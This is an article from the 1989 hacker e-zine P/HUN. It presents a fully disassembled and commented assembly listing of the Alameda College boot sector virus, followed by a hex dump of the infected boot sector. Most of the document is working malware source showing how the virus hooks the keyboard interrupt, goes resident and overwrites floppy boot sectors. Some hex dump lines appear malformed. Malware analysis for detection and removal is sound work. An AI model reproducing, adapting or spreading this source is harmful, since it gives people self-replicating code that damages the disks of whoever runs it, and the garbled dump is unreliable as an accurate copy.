P/HUN Issue #4, Volume 2: Phile 3 of 11

P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89

The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy of Southern Cross.

;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
POP CS ; CS = ES
;
PUSH DS ;DS=0 ;ES = DS
POP ES ;
;
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2

COUNTER_1 DW 001CH
ALT_CTRL DW 0

A7DFC DB 27H,0,8,2

END
;-----------------------------------------------------------------------;
; Hexadecimal representation. ;
;-----------------------------------------------------------------------;
;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 [email protected]<.|{;@..[!.
;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`[email protected].
;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 [email protected]!..(.u..
;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
;---------------------------------------------------------------------;
End of commented code for the Alameda College Boot Infector Virus. All
viruses are dangerous.I take no responsibility for damages, outbreaks, or
other ramifications caused by misuse. This phile is for educational purpose
only! I expect everyone to use caution and common sense when dealing with
viruses. Enjoy!

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DOWNLOADED FROM P-80 SYSTEMS 304-744-2253

Downloaded From P-80 International Information Systems 304-744-2253 12yrs+